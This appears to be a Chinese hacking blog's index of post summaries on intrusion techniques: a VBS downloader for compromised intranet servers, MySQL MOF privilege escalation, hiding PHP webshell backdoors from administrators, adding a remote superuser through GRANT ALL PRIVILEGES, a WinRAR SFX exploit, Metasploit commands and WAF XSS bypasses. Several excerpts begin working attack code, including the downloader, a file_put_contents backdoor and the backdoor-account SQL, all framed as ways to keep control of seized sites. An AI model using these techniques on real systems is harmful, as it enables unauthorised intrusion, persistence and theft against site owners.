摘要：
当拿到shell到手，服务器是内网，你又没有条件映射，服务器又穿不上东西是不是很郁闷，还有我们还有vbs，能执行cmd命令就有希望一、VBS下载者： 复制代码 代码如下:Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObjec... 阅读全文
摘要：
今天再拿一个站的时候遇到了很多问题，拿站的过程就不说了，其中要用到mof提权，不管能不能提下，我进行一个mof提权的科普这里我综合各类mof提权进行了综合首先说一下，无shell情况下的mysql远程mof提权利用方法详解 就是你注入拿到了数据库的root账号密码，直接进行 扫到一个站的注入 ... 阅读全文
摘要：
经常拿到一些比较好的php站想要留住。插入菜刀一句话，很容易被管理发现，不管是eval还是assert，就是管理发现不了，有时连接也会被各种的安全软件拦截。现在教大家一个简单的技巧。本人一直在用，留的后门没有被删过了。<?phpfile_put_contents('xpxp.php',"$_GET[... 阅读全文
摘要：
经擦遇到了MYSQL数据库，想尽办法提权，最终都没有成功，很是郁闷，可能是自己很久没有研究过提权导致的吧，总结一下MYSQL提权的各种姿势吧，权当复习了。关于mysql提权的方法也就那么几种，希望也能帮到各位小伙伴们。一、利用mof提权前段时间国外Kingcope大牛发布了mysql远程提权0day... 阅读全文
摘要：
PHPmyadmin修改用户密码直接点击上面的localhost或者1270.0.1，出现用户一栏，点击修改即可添加超级用户guetsec密码ooxx并且允许外连GRANT ALL PRIVILEGES ON *.* TO 'guetsec'@'%' IDENTIFIED BY 'ooxx' WIT... 阅读全文
摘要：
0x00 前言 上月底，WinRAR 5.21被曝出代码执行漏洞,Vulnerability Lab将此漏洞评为高危级，危险系数定为9(满分为10)，与此同时安全研究人员Mohammad Reza Espargham发布了PoC，实现了用户打开SFX文件时隐蔽执行攻击代码，但是WinRAR官... 阅读全文
摘要：
一、msfconsole? 帮助菜单back 从当前环境返回banner 显示一个MSF bannercd 切换目录color 颜色转换connect 连接一个主机exit 退出MSFhelp 帮助菜单info 显示一个或多个模块的信息irb 进入irb脚本模式j... 阅读全文
摘要：
0x00 背景 本文来自于《Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters》其中的bypass xss过滤的部分，前面有根据WAF特征确定是哪个WAF的测试方法给略过了，重点来看一下后面绕xs... 阅读全文
摘要：
先对目标站进行信息收集：扫了下目录，iis6，发现了后台，并且存在目录遍历： 存在目录遍历我寻思着找点有用的东西，看看有没有前人留下的脚印啥的，直接踩上去多方便，但是翻了一半天无果。从前台找找有没有有用的东西，发现新闻更新的挺勤的，说明管理员还是经常上线，想着x点cookie,结果找遍了都没有... 阅读全文
摘要：
智能手机的存在让网民的生活从PC端开始往移动端转向，现在网民的日常生活需求基本上一部手机就能解决。外卖，办公，社交，银行转账等等都能通过移动端App实现。那么随之也带来了很多信息安全问题，大量的用户信息储存在移动App中，由于移动App的开发并不健全，由移动App引发的用户信息泄露事件也层出不穷。 ... 阅读全文